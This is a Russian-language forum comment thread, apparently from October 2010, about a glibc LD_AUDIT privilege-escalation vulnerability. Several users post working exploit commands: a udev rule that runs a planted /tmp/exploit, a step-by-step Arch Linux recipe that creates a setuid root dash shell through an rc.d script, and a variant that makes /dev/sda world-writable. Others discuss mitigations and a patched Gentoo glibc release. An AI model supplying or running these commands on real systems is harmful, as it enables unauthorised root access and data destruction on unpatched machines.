./   boot/    dev/  home/  lib64/  mnt/  proc/  sbin/  srv/  tmp/  var/
../  bin/ etc/  lib/   media/  opt/  root/  sched_fair.patch  sys/  usr/  

Нэту!



"Для Glibc представлен еще один метод повышения привилегий"
Отправлено aNoN , 23-Окт-10 21:10 
У меня отработало.
От юзера при логине ругается на отсутствие прав. При логине рута выполняет всё.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 21:16 
> У меня отработало.
> От юзера при логине ругается на отсутствие прав. При логине рута выполняет
> всё.

Какого юзера, какого рута...


man bash на предмет INVOCATION



"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 19:30 
кстати я тоже думал в /etc/profile засунуть. интересно, а куда еще можно чего засунуть, чтобы получить рута?

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 20:15 
> кстати я тоже думал в /etc/profile засунуть.

Нельзя

-rw-r--r-- 1 root root 9012 Авг  4  2009 /etc/profile

> интересно, а куда еще можно чего засунуть, чтобы получить рута?

Ну вот и проверь себя.



"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 20:23 
> кстати я тоже думал в /etc/profile засунуть. интересно, а куда еще можно
> чего засунуть, чтобы получить рута?

В UDEV подсунь.


$ lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 003: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/udev/rules.d/45-svistok.rules" ping

$ printf 'SUBSYSTEM!="usb_device", GOTO="end"\n ACTION!="add", GOTO="end"\n ATTRS{idVendor}=="0a12", ATTRS{idProduct}=="0001", RUN+="/tmp/exploit"\n LABEL="end"\n' > /etc/udev/rules.d/45-svistok.rules

$ cat /etc/udev/rules.d/45-svistok.rules

SUBSYSTEM!="usb_device", GOTO="end"
ACTION!="add", GOTO="end"
ATTRS{idVendor}=="0a12", ATTRS{idProduct}=="0001", RUN+="/tmp/exploit"
LABEL="end"


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Kostik , 26-Окт-10 22:49 
> интересно, а куда еще можно
> чего засунуть, чтобы получить рута?

apache+mpm_itk


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено gogo , 24-Окт-10 16:02 
Для RHEL libmemusage.so входит в совсем необязательный rpm glibc-utils
Хотфикс - деинсталлировать этот пакет ;)

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено xdsl , 25-Окт-10 08:31 
Тут на лоре такой вариант предложили для особо упорствующих:
umask 0 ; LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/dev/sda" ping

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено утер , 25-Окт-10 08:34 
для особо одаренных пожалуй надо повторить:
не стоит пакета glibc-utils-> нет libpcprofile.so -> не работает уязвимость -> happy happy

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено AX , 25-Окт-10 09:47 
>не стоит пакета glibc-utils-> нет libpcprofile.so -> не работает уязвимость -> happy happy

Во-первых, не во всех дистрах glibc и glibc-utils разделены.
Во-вторых, libpcprofile.so — не единственная библиотека, которую можно использовать.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено анончик , 25-Окт-10 13:12 
тут ошибка не конкретная, а системная. и этот и предыдущий баг нужно фиксить во избежание. игры с огнем никому не нужны

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено i , 25-Окт-10 09:12 
sys-libs/glibc-2.11.2 не работает
Oct 25 09:18:01 cron[3032]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
ну и что, что файл создался толку то...

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено аноним , 25-Окт-10 20:16 
если не получается с помощью cron то есть другие методы, например ниже изложен метод получения прав root для Arch Linux. А вообще суть этой уязвимости в том, что можно создать файлы с правами на запись в них для обычного пользователя, в тех каталогах в которых это делать запрещено.

на Arch Linux я получил консоль с правами root(запустив после рестарта системы из консоли обычного пользователя команду /usr/bin/sdash) использовав эти указания из аналогичной темы на LOR:

especially for ArchLinux users:

umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/rc.d/functions.d/exploit" ping
echo -e '#!/bin/bash\ncp /bin/dash /usr/bin/sdash\nchmod u+s /usr/bin/sdash' > /etc/rc.d/functions.d/exploit
sudo reboot

/usr/bin/sdash -c 'whoami'
/usr/bin/sdash -c 'rm -f /usr/bin/sdash /etc/rc.d/functions.d/exploit'


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено nik , 27-Окт-10 14:59 
в генте в нестабильном профиле приехал glibc-2.12.1-r2 сегодня
дыра закрыта